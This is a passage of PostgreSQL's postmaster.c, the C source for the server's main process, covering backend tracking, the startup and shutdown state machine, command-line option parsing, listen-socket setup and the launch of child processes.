"bootstrap/bootstrap.h" #include "catalog/pg_control.h" #include "common/ip.h" #include "lib/ilist.h" #include "libpq/auth.h" #include "libpq/libpq.h" #include "libpq/pqsignal.h" #include "miscadmin.h" #include "pg_getopt.h" #include "pgstat.h" #include "postmaster/autovacuum.h" #include "postmaster/bgworker_internals.h" #include "postmaster/fork_process.h" #include "postmaster/pgarch.h" #include "postmaster/postmaster.h" #include "postmaster/syslogger.h" #include "replication/logicallauncher.h" #include "replication/walsender.h" #include "storage/fd.h" #include "storage/ipc.h" #include "storage/pg_shmem.h" #include "storage/pmsignal.h" #include "storage/proc.h" #include "tcop/tcopprot.h" #include "utils/builtins.h" #include "utils/datetime.h" #include "utils/dynamic_loader.h" #include "utils/memutils.h" #include "utils/ps_status.h" #include "utils/timeout.h" #include "utils/varlena.h" #ifdef EXEC_BACKEND #include "storage/spin.h" #endif /* * Possible types of a backend. Beyond being the possible bkend_type values in * struct bkend, these are OR-able request flag bits for SignalSomeChildren() * and CountChildren(). */ #define BACKEND_TYPE_NORMAL 0x0001 /* normal backend */ #define BACKEND_TYPE_AUTOVAC 0x0002 /* autovacuum worker process */ #define BACKEND_TYPE_WALSND 0x0004 /* walsender process */ #define BACKEND_TYPE_BGWORKER 0x0008 /* bgworker process */ #define BACKEND_TYPE_ALL 0x000F /* OR of all the above */ #define BACKEND_TYPE_WORKER (BACKEND_TYPE_AUTOVAC | BACKEND_TYPE_BGWORKER) /* * List of active backends (or child processes anyway; we don't actually * know whether a given child has become a backend or is still in the * authorization phase). This is used mainly to keep track of how many * children we have and send them appropriate signals when necessary. * * "Special" children such as the startup, bgwriter and autovacuum launcher * tasks are not in this list. Autovacuum worker and walsender are in it. * Also, "dead_end" children are in it: these are children launched just for * the purpose of sending a friendly rejection message to a would-be client. * We must track them because they are attached to shared memory, but we know * they will never become live backends. dead_end children are not assigned a * PMChildSlot. * * Background workers are in this list, too. */ typedef struct bkend { pid_t pid; /* process id of backend */ int32 cancel_key; /* cancel key for cancels for this backend */ int child_slot; /* PMChildSlot for this backend, if any */ /* * Flavor of backend or auxiliary process. Note that BACKEND_TYPE_WALSND * backends initially announce themselves as BACKEND_TYPE_NORMAL, so if * bkend_type is normal, you should check for a recent transition. */ int bkend_type; bool dead_end; /* is it going to send an error and quit? */ bool bgworker_notify; /* gets bgworker start/stop notifications */ dlist_node elem; /* list link in BackendList */ } Backend; static dlist_head BackendList = DLIST_STATIC_INIT(BackendList); #ifdef EXEC_BACKEND static Backend *ShmemBackendArray; #endif BackgroundWorker *MyBgworkerEntry = NULL; /* The socket number we are listening for connections on */ int PostPortNumber; /* The directory names for Unix socket(s) */ char *Unix_socket_directories; /* The TCP listen address(es) */ char *ListenAddresses; /* * ReservedBackends is the number of backends reserved for superuser use. * This number is taken out of the pool size given by MaxBackends so * number of backend slots available to non-superusers is * (MaxBackends - ReservedBackends). Note what this really means is * "if there are <= ReservedBackends connections available, only superusers * can make new connections" --- pre-existing superuser connections don't * count against the limit. */ int ReservedBackends; /* The socket(s) we're listening to. */ #define MAXLISTEN 64 static pgsocket ListenSocket[MAXLISTEN]; /* * Set by the -o option */ static char ExtraOptions[MAXPGPATH]; /* * These globals control the behavior of the postmaster in case some * backend dumps core. Normally, it kills all peers of the dead backend * and reinitializes shared memory. By specifying -s or -n, we can have * the postmaster stop (rather than kill) peers and not reinitialize * shared data structures. (Reinit is currently dead code, though.) */ static bool Reinit = true; static int SendStop = false; /* still more option variables */ bool EnableSSL = false; int PreAuthDelay = 0; int AuthenticationTimeout = 60; bool log_hostname; /* for ps display and logging */ bool Log_connections = false; bool Db_user_namespace = false; bool enable_bonjour = false; char *bonjour_name; bool restart_after_crash = true; /* PIDs of special child processes; 0 when not running */ static pid_t StartupPID = 0, BgWriterPID = 0, CheckpointerPID = 0, WalWriterPID = 0, WalReceiverPID = 0, AutoVacPID = 0, PgArchPID = 0, PgStatPID = 0, SysLoggerPID = 0; /* Startup process's status */ typedef enum { STARTUP_NOT_RUNNING, STARTUP_RUNNING, STARTUP_SIGNALED, /* we sent it a SIGQUIT or SIGKILL */ STARTUP_CRASHED } StartupStatusEnum; static StartupStatusEnum StartupStatus = STARTUP_NOT_RUNNING; /* Startup/shutdown state */ #define NoShutdown 0 #define SmartShutdown 1 #define FastShutdown 2 #define ImmediateShutdown 3 static int Shutdown = NoShutdown; static bool FatalError = false; /* T if recovering from backend crash */ /* * We use a simple state machine to control startup, shutdown, and * crash recovery (which is rather like shutdown followed by startup). * * After doing all the postmaster initialization work, we enter PM_STARTUP * state and the startup process is launched. The startup process begins by * reading the control file and other preliminary initialization steps. * In a normal startup, or after crash recovery, the startup process exits * with exit code 0 and we switch to PM_RUN state. However, archive recovery * is handled specially since it takes much longer and we would like to support * hot standby during archive recovery. * * When the startup process is ready to start archive recovery, it signals the * postmaster, and we switch to PM_RECOVERY state. The background writer and * checkpointer are launched, while the startup process continues applying WAL. * If Hot Standby is enabled, then, after reaching a consistent point in WAL * redo, startup process signals us again, and we switch to PM_HOT_STANDBY * state and begin accepting connections to perform read-only queries. When * archive recovery is finished, the startup process exits with exit code 0 * and we switch to PM_RUN state. * * Normal child backends can only be launched when we are in PM_RUN or * PM_HOT_STANDBY state. (We also allow launch of normal * child backends in PM_WAIT_BACKUP state, but only for superusers.) * In other states we handle connection requests by launching "dead_end" * child processes, which will simply send the client an error message and * quit. (We track these in the BackendList so that we can know when they * are all gone; this is important because they're still connected to shared * memory, and would interfere with an attempt to destroy the shmem segment, * possibly leading to SHMALL failure when we try to make a new one.) * In PM_WAIT_DEAD_END state we are waiting for all the dead_end children * to drain out of the system, and therefore stop accepting connection * requests at all until the last existing child has quit (which hopefully * will not be very long). * * Notice that this state variable does not distinguish *why* we entered * states later than PM_RUN --- Shutdown and FatalError must be consulted * to find that out. FatalError is never true in PM_RECOVERY_* or PM_RUN * states, nor in PM_SHUTDOWN states (because we don't enter those states * when trying to recover from a crash). It can be true in PM_STARTUP state, * because we don't clear it until we've successfully started WAL redo. */ typedef enum { PM_INIT, /* postmaster starting */ PM_STARTUP, /* waiting for startup subprocess */ PM_RECOVERY, /* in archive recovery mode */ PM_HOT_STANDBY, /* in hot standby mode */ PM_RUN, /* normal "database is alive" state */ PM_WAIT_BACKUP, /* waiting for online backup mode to end */ PM_WAIT_READONLY, /* waiting for read only backends to exit */ PM_WAIT_BACKENDS, /* waiting for live backends to exit */ PM_SHUTDOWN, /* waiting for checkpointer to do shutdown * ckpt */ PM_SHUTDOWN_2, /* waiting for archiver and walsenders to * finish */ PM_WAIT_DEAD_END, /* waiting for dead_end children to exit */ PM_NO_CHILDREN /* all important children have exited */ } PMState; static PMState pmState = PM_INIT; /* Start time of SIGKILL timeout during immediate shutdown or child crash */ /* Zero means timeout is not running */ static time_t AbortStartTime = 0; /* Length of said timeout */ #define SIGKILL_CHILDREN_AFTER_SECS 5 static bool ReachedNormalRunning = false; /* T if we've reached PM_RUN */ bool ClientAuthInProgress = false; /* T during new-client * authentication */ bool redirection_done = false; /* stderr redirected for syslogger? */ /* received START_AUTOVAC_LAUNCHER signal */ static volatile sig_atomic_t start_autovac_launcher = false; /* the launcher needs to be signalled to communicate some condition */ static volatile bool avlauncher_needs_signal = false; /* set when there's a worker that needs to be started up */ static volatile bool StartWorkerNeeded = true; static volatile bool HaveCrashedWorker = false; #ifndef HAVE_STRONG_RANDOM /* * State for assigning cancel keys. * Also, the global MyCancelKey passes the cancel key assigned to a given * backend from the postmaster to that backend (via fork). */ static unsigned int random_seed = 0; static struct timeval random_start_time; #endif #ifdef USE_SSL /* Set when and if SSL has been initialized properly */ static bool LoadedSSL = false; #endif #ifdef USE_BONJOUR static DNSServiceRef bonjour_sdref = NULL; #endif /* * postmaster.c - function prototypes */ static void CloseServerPorts(int status, Datum arg); static void unlink_external_pid_file(int status, Datum arg); static void getInstallationPaths(const char *argv0); static void checkDataDir(void); static Port *ConnCreate(int serverFd); static void ConnFree(Port *port); static void reset_shared(int port); static void SIGHUP_handler(SIGNAL_ARGS); static void pmdie(SIGNAL_ARGS); static void reaper(SIGNAL_ARGS); static void sigusr1_handler(SIGNAL_ARGS); static void startup_die(SIGNAL_ARGS); static void dummy_handler(SIGNAL_ARGS); static void StartupPacketTimeoutHandler(void); static void CleanupBackend(int pid, int exitstatus); static bool CleanupBackgroundWorker(int pid, int exitstatus); static void HandleChildCrash(int pid, int exitstatus, const char *procname); static void LogChildExit(int lev, const char *procname, int pid, int exitstatus); static void PostmasterStateMachine(void); static void BackendInitialize(Port *port); static void BackendRun(Port *port) pg_attribute_noreturn(); static void ExitPostmaster(int status) pg_attribute_noreturn(); static int ServerLoop(void); static int BackendStartup(Port *port); static int ProcessStartupPacket(Port *port, bool SSLdone); static void processCancelRequest(Port *port, void *pkt); static int initMasks(fd_set *rmask); static void report_fork_failure_to_client(Port *port, int errnum); static CAC_state canAcceptConnections(void); static bool RandomCancelKey(int32 *cancel_key); static void signal_child(pid_t pid, int signal); static bool SignalSomeChildren(int signal, int targets); static void TerminateChildren(int signal); #define SignalChildren(sig) SignalSomeChildren(sig, BACKEND_TYPE_ALL) static int CountChildren(int target); static void maybe_start_bgworker(void); static bool CreateOptsFile(int argc, char *argv[], char *fullprogname); static pid_t StartChildProcess(AuxProcType type); static void StartAutovacuumWorker(void); static void InitPostmasterDeathWatchHandle(void); /* * Archiver is allowed to start up at the current postmaster state? * * If WAL archiving is enabled always, we are allowed to start archiver * even during recovery. */ #define PgArchStartupAllowed() \ ((XLogArchivingActive() && pmState == PM_RUN) || \ (XLogArchivingAlways() && \ (pmState == PM_RECOVERY || pmState == PM_HOT_STANDBY))) #ifdef EXEC_BACKEND #ifdef WIN32 #define WNOHANG 0 /* ignored, so any integer value will do */ static pid_t waitpid(pid_t pid, int *exitstatus, int options); static void WINAPI pgwin32_deadchild_callback(PVOID lpParameter, BOOLEAN TimerOrWaitFired); static HANDLE win32ChildQueue; typedef struct { HANDLE waitHandle; HANDLE procHandle; DWORD procId; } win32_deadchild_waitinfo; #endif /* WIN32 */ static pid_t backend_forkexec(Port *port); static pid_t internal_forkexec(int argc, char *argv[], Port *port); /* Type for a socket that can be inherited to a client process */ #ifdef WIN32 typedef struct { SOCKET origsocket; /* Original socket value, or PGINVALID_SOCKET * if not a socket */ WSAPROTOCOL_INFO wsainfo; } InheritableSocket; #else typedef int InheritableSocket; #endif /* * Structure contains all variables passed to exec:ed backends */ typedef struct { Port port; InheritableSocket portsocket; char DataDir[MAXPGPATH]; pgsocket ListenSocket[MAXLISTEN]; int32 MyCancelKey; int MyPMChildSlot; #ifndef WIN32 unsigned long UsedShmemSegID; #else HANDLE UsedShmemSegID; #endif void *UsedShmemSegAddr; slock_t *ShmemLock; VariableCache ShmemVariableCache; Backend *ShmemBackendArray; #ifndef HAVE_SPINLOCKS PGSemaphore *SpinlockSemaArray; #endif int NamedLWLockTrancheRequests; NamedLWLockTranche *NamedLWLockTrancheArray; LWLockPadded *MainLWLockArray; slock_t *ProcStructLock; PROC_HDR *ProcGlobal; PGPROC *AuxiliaryProcs; PGPROC *PreparedXactProcs; PMSignalData *PMSignalState; InheritableSocket pgStatSock; pid_t PostmasterPid; TimestampTz PgStartTime; TimestampTz PgReloadTime; pg_time_t first_syslogger_file_time; bool redirection_done; bool IsBinaryUpgrade; int max_safe_fds; int MaxBackends; #ifdef WIN32 HANDLE PostmasterHandle; HANDLE initial_signal_pipe; HANDLE syslogPipe[2]; #else int postmaster_alive_fds[2]; int syslogPipe[2]; #endif char my_exec_path[MAXPGPATH]; char pkglib_path[MAXPGPATH]; char ExtraOptions[MAXPGPATH]; } BackendParameters; static void read_backend_variables(char *id, Port *port); static void restore_backend_variables(BackendParameters *param, Port *port); #ifndef WIN32 static bool save_backend_variables(BackendParameters *param, Port *port); #else static bool save_backend_variables(BackendParameters *param, Port *port, HANDLE childProcess, pid_t childPid); #endif static void ShmemBackendArrayAdd(Backend *bn); static void ShmemBackendArrayRemove(Backend *bn); #endif /* EXEC_BACKEND */ #define StartupDataBase() StartChildProcess(StartupProcess) #define StartBackgroundWriter() StartChildProcess(BgWriterProcess) #define StartCheckpointer() StartChildProcess(CheckpointerProcess) #define StartWalWriter() StartChildProcess(WalWriterProcess) #define StartWalReceiver() StartChildProcess(WalReceiverProcess) /* Macros to check exit status of a child process */ #define EXIT_STATUS_0(st) ((st) == 0) #define EXIT_STATUS_1(st) (WIFEXITED(st) && WEXITSTATUS(st) == 1) #define EXIT_STATUS_3(st) (WIFEXITED(st) && WEXITSTATUS(st) == 3) #ifndef WIN32 /* * File descriptors for pipe used to monitor if postmaster is alive. * First is POSTMASTER_FD_WATCH, second is POSTMASTER_FD_OWN. */ int postmaster_alive_fds[2] = {-1, -1}; #else /* Process handle of postmaster used for the same purpose on Windows */ HANDLE PostmasterHandle; #endif /* * Postmaster main entry point */ void PostmasterMain(int argc, char *argv[]) { int opt; int status; char *userDoption = NULL; bool listen_addr_saved = false; int i; char *output_config_variable = NULL; MyProcPid = PostmasterPid = getpid(); MyStartTime = time(NULL); IsPostmasterEnvironment = true; /* * for security, no dir or file created can be group or other accessible */ umask(S_IRWXG | S_IRWXO); /* * Initialize random(3) so we don't get the same values in every run. * * Note: the seed is pretty predictable from externally-visible facts such * as postmaster start time, so avoid using random() for security-critical * random values during postmaster startup. At the time of first * connection, PostmasterRandom will select a hopefully-more-random seed. */ srandom((unsigned int) (MyProcPid ^ MyStartTime)); /* * By default, palloc() requests in the postmaster will be allocated in * the PostmasterContext, which is space that can be recycled by backends. * Allocated data that needs to be available to backends should be * allocated in TopMemoryContext. */ PostmasterContext = AllocSetContextCreate(TopMemoryContext, "Postmaster", ALLOCSET_DEFAULT_SIZES); MemoryContextSwitchTo(PostmasterContext); /* Initialize paths to installation files */ getInstallationPaths(argv[0]); /* * Set up signal handlers for the postmaster process. * * CAUTION: when changing this list, check for side-effects on the signal * handling setup of child processes. See tcop/postgres.c, * bootstrap/bootstrap.c, postmaster/bgwriter.c, postmaster/walwriter.c, * postmaster/autovacuum.c, postmaster/pgarch.c, postmaster/pgstat.c, * postmaster/syslogger.c, postmaster/bgworker.c and * postmaster/checkpointer.c. */ pqinitmask(); PG_SETMASK(&BlockSig); pqsignal(SIGHUP, SIGHUP_handler); /* reread config file and have * children do same */ pqsignal(SIGINT, pmdie); /* send SIGTERM and shut down */ pqsignal(SIGQUIT, pmdie); /* send SIGQUIT and die */ pqsignal(SIGTERM, pmdie); /* wait for children and shut down */ pqsignal(SIGALRM, SIG_IGN); /* ignored */ pqsignal(SIGPIPE, SIG_IGN); /* ignored */ pqsignal(SIGUSR1, sigusr1_handler); /* message from child process */ pqsignal(SIGUSR2, dummy_handler); /* unused, reserve for children */ pqsignal(SIGCHLD, reaper); /* handle child termination */ pqsignal(SIGTTIN, SIG_IGN); /* ignored */ pqsignal(SIGTTOU, SIG_IGN); /* ignored */ /* ignore SIGXFSZ, so that ulimit violations work like disk full */ #ifdef SIGXFSZ pqsignal(SIGXFSZ, SIG_IGN); /* ignored */ #endif /* * Options setup */ InitializeGUCOptions(); opterr = 1; /* * Parse command-line options. CAUTION: keep this in sync with * tcop/postgres.c (the option sets should not conflict) and with the * common help() function in main/main.c. */ while ((opt = getopt(argc, argv, "B:bc:C:D:d:EeFf:h:ijk:lN:nOo:Pp:r:S:sTt:W:-:")) != -1) { switch (opt) { case 'B': SetConfigOption("shared_buffers", optarg, PGC_POSTMASTER, PGC_S_ARGV); break; case 'b': /* Undocumented flag used for binary upgrades */ IsBinaryUpgrade = true; break; case 'C': output_config_variable = strdup(optarg); break; case 'D': userDoption = strdup(optarg); break; case 'd': set_debug_options(atoi(optarg), PGC_POSTMASTER, PGC_S_ARGV); break; case 'E': SetConfigOption("log_statement", "all", PGC_POSTMASTER, PGC_S_ARGV); break; case 'e': SetConfigOption("datestyle", "euro", PGC_POSTMASTER, PGC_S_ARGV); break; case 'F': SetConfigOption("fsync", "false", PGC_POSTMASTER, PGC_S_ARGV); break; case 'f': if (!set_plan_disabling_options(optarg, PGC_POSTMASTER, PGC_S_ARGV)) { write_stderr("%s: invalid argument for option -f: \"%s\"\n", progname, optarg); ExitPostmaster(1); } break; case 'h': SetConfigOption("listen_addresses", optarg, PGC_POSTMASTER, PGC_S_ARGV); break; case 'i': SetConfigOption("listen_addresses", "*", PGC_POSTMASTER, PGC_S_ARGV); break; case 'j': /* only used by interactive backend */ break; case 'k': SetConfigOption("unix_socket_directories", optarg, PGC_POSTMASTER, PGC_S_ARGV); break; case 'l': SetConfigOption("ssl", "true", PGC_POSTMASTER, PGC_S_ARGV); break; case 'N': SetConfigOption("max_connections", optarg, PGC_POSTMASTER, PGC_S_ARGV); break; case 'n': /* Don't reinit shared mem after abnormal exit */ Reinit = false; break; case 'O': SetConfigOption("allow_system_table_mods", "true", PGC_POSTMASTER, PGC_S_ARGV); break; case 'o': /* Other options to pass to the backend on the command line */ snprintf(ExtraOptions + strlen(ExtraOptions), sizeof(ExtraOptions) - strlen(ExtraOptions), " %s", optarg); break; case 'P': SetConfigOption("ignore_system_indexes", "true", PGC_POSTMASTER, PGC_S_ARGV); break; case 'p': SetConfigOption("port", optarg, PGC_POSTMASTER, PGC_S_ARGV); break; case 'r': /* only used by single-user backend */ break; case 'S': SetConfigOption("work_mem", optarg, PGC_POSTMASTER, PGC_S_ARGV); break; case 's': SetConfigOption("log_statement_stats", "true", PGC_POSTMASTER, PGC_S_ARGV); break; case 'T': /* * In the event that some backend dumps core, send SIGSTOP, * rather than SIGQUIT, to all its peers. This lets the wily * post_hacker collect core dumps from everyone. */ SendStop = true; break; case 't': { const char *tmp = get_stats_option_name(optarg); if (tmp) { SetConfigOption(tmp, "true", PGC_POSTMASTER, PGC_S_ARGV); } else { write_stderr("%s: invalid argument for option -t: \"%s\"\n", progname, optarg); ExitPostmaster(1); } break; } case 'W': SetConfigOption("post_auth_delay", optarg, PGC_POSTMASTER, PGC_S_ARGV); break; case 'c': case '-': { char *name, *value; ParseLongOption(optarg, &name, &value); if (!value) { if (opt == '-') ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("--%s requires a value", optarg))); else ereport(ERROR, (errcode(ERRCODE_SYNTAX_ERROR), errmsg("-c %s requires a value", optarg))); } SetConfigOption(name, value, PGC_POSTMASTER, PGC_S_ARGV); free(name); if (value) free(value); break; } default: write_stderr("Try \"%s --help\" for more information.\n", progname); ExitPostmaster(1); } } /* * Postmaster accepts no non-option switch arguments. */ if (optind < argc) { write_stderr("%s: invalid argument: \"%s\"\n", progname, argv[optind]); write_stderr("Try \"%s --help\" for more information.\n", progname); ExitPostmaster(1); } /* * Locate the proper configuration files and data directory, and read * postgresql.conf for the first time. */ if (!SelectConfigFiles(userDoption, progname)) ExitPostmaster(2); if (output_config_variable != NULL) { /* * "-C guc" was specified, so print GUC's value and exit. No extra * permission check is needed because the user is reading inside the * data dir. */ const char *config_val = GetConfigOption(output_config_variable, false, false); puts(config_val ? config_val : ""); ExitPostmaster(0); } /* Verify that DataDir looks reasonable */ checkDataDir(); /* And switch working directory into it */ ChangeToDataDir(); /* * Check for invalid combinations of GUC settings. */ if (ReservedBackends >= MaxConnections) { write_stderr("%s: superuser_reserved_connections must be less than max_connections\n", progname); ExitPostmaster(1); } if (max_wal_senders >= MaxConnections) { write_stderr("%s: max_wal_senders must be less than max_connections\n", progname); ExitPostmaster(1); } if (XLogArchiveMode > ARCHIVE_MODE_OFF && wal_level == WAL_LEVEL_MINIMAL) ereport(ERROR, (errmsg("WAL archival cannot be enabled when wal_level is \"minimal\""))); if (max_wal_senders > 0 && wal_level == WAL_LEVEL_MINIMAL) ereport(ERROR, (errmsg("WAL streaming (max_wal_senders > 0) requires wal_level \"replica\" or \"logical\""))); /* * Other one-time internal sanity checks can go here, if they are fast. * (Put any slow processing further down, after postmaster.pid creation.) */ if (!CheckDateTokenTables()) { write_stderr("%s: invalid datetoken tables, please fix\n", progname); ExitPostmaster(1); } /* * Now that we are done processing the postmaster arguments, reset * getopt(3) library so that it will work correctly in subprocesses. */ optind = 1; #ifdef HAVE_INT_OPTRESET optreset = 1; /* some systems need this too */ #endif /* For debugging: display postmaster environment */ { extern char **environ; char **p; ereport(DEBUG3, (errmsg_internal("%s: PostmasterMain: initial environment dump:", progname))); ereport(DEBUG3, (errmsg_internal("-----------------------------------------"))); for (p = environ; *p; ++p) ereport(DEBUG3, (errmsg_internal("\t%s", *p))); ereport(DEBUG3, (errmsg_internal("-----------------------------------------"))); } /* * Create lockfile for data directory. * * We want to do this before we try to grab the input sockets, because the * data directory interlock is more reliable than the socket-file * interlock (thanks to whoever decided to put socket files in /tmp :-(). * For the same reason, it's best to grab the TCP socket(s) before the * Unix socket(s). * * Also note that this internally sets up the on_proc_exit function that * is responsible for removing both data directory and socket lockfiles; * so it must happen before opening sockets so that at exit, the socket * lockfiles go away after CloseServerPorts runs. */ CreateDataDirLockFile(true); /* * Initialize SSL library, if specified. */ #ifdef USE_SSL if (EnableSSL) { (void) secure_initialize(true); LoadedSSL = true; } #endif /* * Register the apply launcher. Since it registers a background worker, * it needs to be called before InitializeMaxBackends(), and it's probably * a good idea to call it before any modules had chance to take the * background worker slots. */ ApplyLauncherRegister(); /* * process any libraries that should be preloaded at postmaster start */ process_shared_preload_libraries(); /* * Now that loadable modules have had their chance to register background * workers, calculate MaxBackends. */ InitializeMaxBackends(); /* * Establish input sockets. * * First, mark them all closed, and set up an on_proc_exit function that's * charged with closing the sockets again at postmaster shutdown. */ for (i = 0; i < MAXLISTEN; i++) ListenSocket[i] = PGINVALID_SOCKET; on_proc_exit(CloseServerPorts, 0); if (ListenAddresses) { char *rawstring; List *elemlist; ListCell *l; int success = 0; /* Need a modifiable copy of ListenAddresses */ rawstring = pstrdup(ListenAddresses); /* Parse string into list of hostnames */ if (!SplitIdentifierString(rawstring, ',', &elemlist)) { /* syntax error in list */ ereport(FATAL, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("invalid list syntax in parameter \"%s\"", "listen_addresses"))); } foreach(l, elemlist) { char *curhost = (char *) lfirst(l); if (strcmp(curhost, "*") == 0) status = StreamServerPort(AF_UNSPEC, NULL, (unsigned short) PostPortNumber, NULL, ListenSocket, MAXLISTEN); else status = StreamServerPort(AF_UNSPEC, curhost, (unsigned short) PostPortNumber, NULL, ListenSocket, MAXLISTEN); if (status == STATUS_OK) { success++; /* record the first successful host addr in lockfile */ if (!listen_addr_saved) { AddToDataDirLockFile(LOCK_FILE_LINE_LISTEN_ADDR, curhost); listen_addr_saved = true; } } else ereport(WARNING, (errmsg("could not create listen socket for \"%s\"", curhost))); } if (!success && elemlist != NIL) ereport(FATAL, (errmsg("could not create any TCP/IP sockets"))); list_free(elemlist); pfree(rawstring); } #ifdef USE_BONJOUR /* Register for Bonjour only if we opened TCP socket(s) */ if (enable_bonjour && ListenSocket[0] != PGINVALID_SOCKET) { DNSServiceErrorType err; /* * We pass 0 for interface_index, which will result in registering on * all "applicable" interfaces. It's not entirely clear from the * DNS-SD docs whether this would be appropriate if we have bound to * just a subset of the available network interfaces. */ err = DNSServiceRegister(&bonjour_sdref, 0, 0, bonjour_name, "_postgresql._tcp.", NULL, NULL, htons(PostPortNumber), 0, NULL, NULL, NULL); if (err != kDNSServiceErr_NoError) elog(LOG, "DNSServiceRegister() failed: error code %ld", (long) err); /* * We don't bother to read the mDNS daemon's reply, and we expect that * it will automatically terminate our registration when the socket is * closed at postmaster termination. So there's nothing more to be * done here. However, the bonjour_sdref is kept around so that * forked children can close their copies of the socket. */ } #endif #ifdef HAVE_UNIX_SOCKETS if (Unix_socket_directories) { char *rawstring; List *elemlist; ListCell *l; int success = 0; /* Need a modifiable copy of Unix_socket_directories */ rawstring = pstrdup(Unix_socket_directories); /* Parse string into list of directories */ if (!SplitDirectoriesString(rawstring, ',', &elemlist)) { /* syntax error in list */ ereport(FATAL, (errcode(ERRCODE_INVALID_PARAMETER_VALUE), errmsg("invalid list syntax in parameter \"%s\"", "unix_socket_directories"))); } foreach(l, elemlist) { char *socketdir = (char *) lfirst(l); status = StreamServerPort(AF_UNIX, NULL, (unsigned short) PostPortNumber, socketdir, ListenSocket, MAXLISTEN); if (status == STATUS_OK) { success++; /* record the first successful Unix socket in lockfile */ if (success == 1) AddToDataDirLockFile(LOCK_FILE_LINE_SOCKET_DIR, socketdir); } else ereport(WARNING, (errmsg("could not create Unix-domain socket in directory \"%s\"", socketdir))); } if (!success && elemlist != NIL) ereport(FATAL, (errmsg("could not create any Unix-domain sockets"))); list_free_deep(elemlist); pfree(rawstring); } #endif /* * check that we have some socket to listen on */ if (ListenSocket[0] == PGINVALID_SOCKET) ereport(FATAL, (errmsg("no socket created for listening"))); /* * If no valid TCP ports, write an empty line for listen address, * indicating the Unix socket must be used. Note that this line is not * added to the lock file until there is a socket backing it. */ if (!listen_addr_saved) AddToDataDirLockFile(LOCK_FILE_LINE_LISTEN_ADDR, ""); /* * Set up shared memory and semaphores. */ reset_shared(PostPortNumber); /* * Estimate number of openable files. This must happen after setting up * semaphores, because on some platforms semaphores count as open files. */ set_max_safe_fds(); /* * Set reference point for stack-depth checking. */ set_stack_base(); /* * Initialize pipe (or process handle on Windows) that allows children to * wake up from sleep on postmaster death. */ InitPostmasterDeathWatchHandle(); #ifdef WIN32 /* * Initialize I/O completion port used to deliver list of dead children. */ win32ChildQueue = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 1); if (win32ChildQueue == NULL) ereport(FATAL, (errmsg("could not create I/O completion port for child queue"))); #endif /* * Record postmaster options. We delay this till now to avoid recording * bogus options (eg, NBuffers too high for available memory). */ if (!CreateOptsFile(argc, argv, my_exec_path)) ExitPostmaster(1); #ifdef EXEC_BACKEND /* Write out nondefault GUC settings for child processes to use */ write_nondefault_variables(PGC_POSTMASTER); #endif /* * Write the external PID file if requested */ if (external_pid_file) { FILE *fpidfile = fopen(external_pid_file, "w"); if (fpidfile) { fprintf(fpidfile, "%d\n", MyProcPid); fclose(fpidfile); /* Make PID file world readable */ if (chmod(external_pid_file, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH) != 0) write_stderr("%s: could not change permissions of external PID file \"%s\": %s\n", progname, external_pid_file, strerror(errno)); } else write_stderr("%s: could not write external PID file \"%s\": %s\n", progname, external_pid_file, strerror(errno)); on_proc_exit(unlink_external_pid_file, 0); } /* * Remove old temporary files. At this point there can be no other * Postgres processes running in this directory, so this should be safe. */ RemovePgTempFiles(); /* * Forcibly remove the files signaling a standby promotion request. * Otherwise, the existence of those files triggers a promotion too early, * whether a user wants that or not. * * This removal of files is usually unnecessary because they can exist * only during a few moments during a standby promotion. However there is * a race condition: if pg_ctl promote is executed and creates the files * during a promotion, the files can stay around even after the server is * brought up to new master. Then, if new standby starts by using the * backup taken from that master, the files can exist at the server * startup and should be removed in order to avoid an unexpected * promotion. * * Note that promotion signal files need to be removed before the startup * process is invoked. Because, after that, they can be used by * postmaster's SIGUSR1 signal handler. */ RemovePromoteSignalFiles(); /* * If enabled, start up syslogger collection subprocess */ SysLoggerPID = SysLogger_Start(); /* * Reset whereToSendOutput from DestDebug (its starting state) to * DestNone. This stops ereport from sending log messages to stderr unless * Log_destination permits. We don't do this until the postmaster is * fully launched, since startup failures may as well be reported to * stderr. * * If we are in fact disabling logging to stderr, first emit a log message * saying so, to provide a breadcrumb trail for users who may not remember * that their logging is configured to go somewhere else. */ if (!(Log_destination & LOG_DESTINATION_STDERR)) ereport(LOG, (errmsg("ending log output to stderr"), errhint("Future log output will go to log destination \"%s\".", Log_destination_string))); whereToSendOutput = DestNone; /* * Initialize stats collection subsystem (this does NOT start the * collector process!) */ pgstat_init(); /* * Initialize the autovacuum subsystem (again, no process start yet) */ autovac_init(); /* * Load configuration files for client authentication. */ if (!load_hba()) { /* * It makes no sense to continue if we fail to load the HBA file, * since there is no way to connect to the database in this case. */ ereport(FATAL, (errmsg("could not load pg_hba.conf"))); } if (!load_ident()) { /* * We can start up without the IDENT file, although it means that you * cannot log in using any of the authentication methods that need a * user name mapping. load_ident() already logged the details of error * to the log. */ } #ifdef HAVE_PTHREAD_IS_THREADED_NP /* * On macOS, libintl replaces setlocale() with a version that calls * CFLocaleCopyCurrent() when its second argument is "" and every relevant * environment variable is unset or empty. CFLocaleCopyCurrent() makes * the process multithreaded. The postmaster calls sigprocmask() and * calls fork() without an immediate exec(), both of which have undefined * behavior in a multithreaded program. A multithreaded postmaster is the * normal case on Windows, which offers neither fork() nor sigprocmask(). */ if (pthread_is_threaded_np() != 0) ereport(FATAL, (errcode(ERRCODE_OBJECT_NOT_IN_PREREQUISITE_STATE), errmsg("postmaster became multithreaded during startup"), errhint("Set the LC_ALL environment variable to a valid locale."))); #endif /* * Remember postmaster startup time */ PgStartTime = GetCurrentTimestamp(); #ifndef HAVE_STRONG_RANDOM /* RandomCancelKey wants its own copy */ gettimeofday(&random_start_time, NULL); #endif /* * We're ready to rock and roll... */ StartupPID = StartupDataBase(); Assert(StartupPID != 0); StartupStatus = STARTUP_RUNNING; pmState = PM_STARTUP; /* Some workers may be scheduled to start now */ maybe_start_bgworker(); status = ServerLoop(); /* * ServerLoop probably shouldn't ever return, but if it does, close down. */ ExitPostmaster(status != STATUS_OK); abort(); /* not reached */ } /* * on_proc_exit callback to close server's listen sockets */ static void CloseServerPorts(int status, Datum arg) { int i; /* * First, explicitly close all the socket FDs. We used to just let this * happen implicitly at postmaster exit, but it's better to close them * before we remove the postmaster.pid lockfile; otherwise there's a race * condition if a new postmaster wants to re-use the TCP port number. */ for (i = 0; i < MAXLISTEN; i++) { if (ListenSocket[i] != PGINVALID_SOCKET) { StreamClose(ListenSocket[i]); ListenSocket[i] = PGINVALID_SOCKET; } 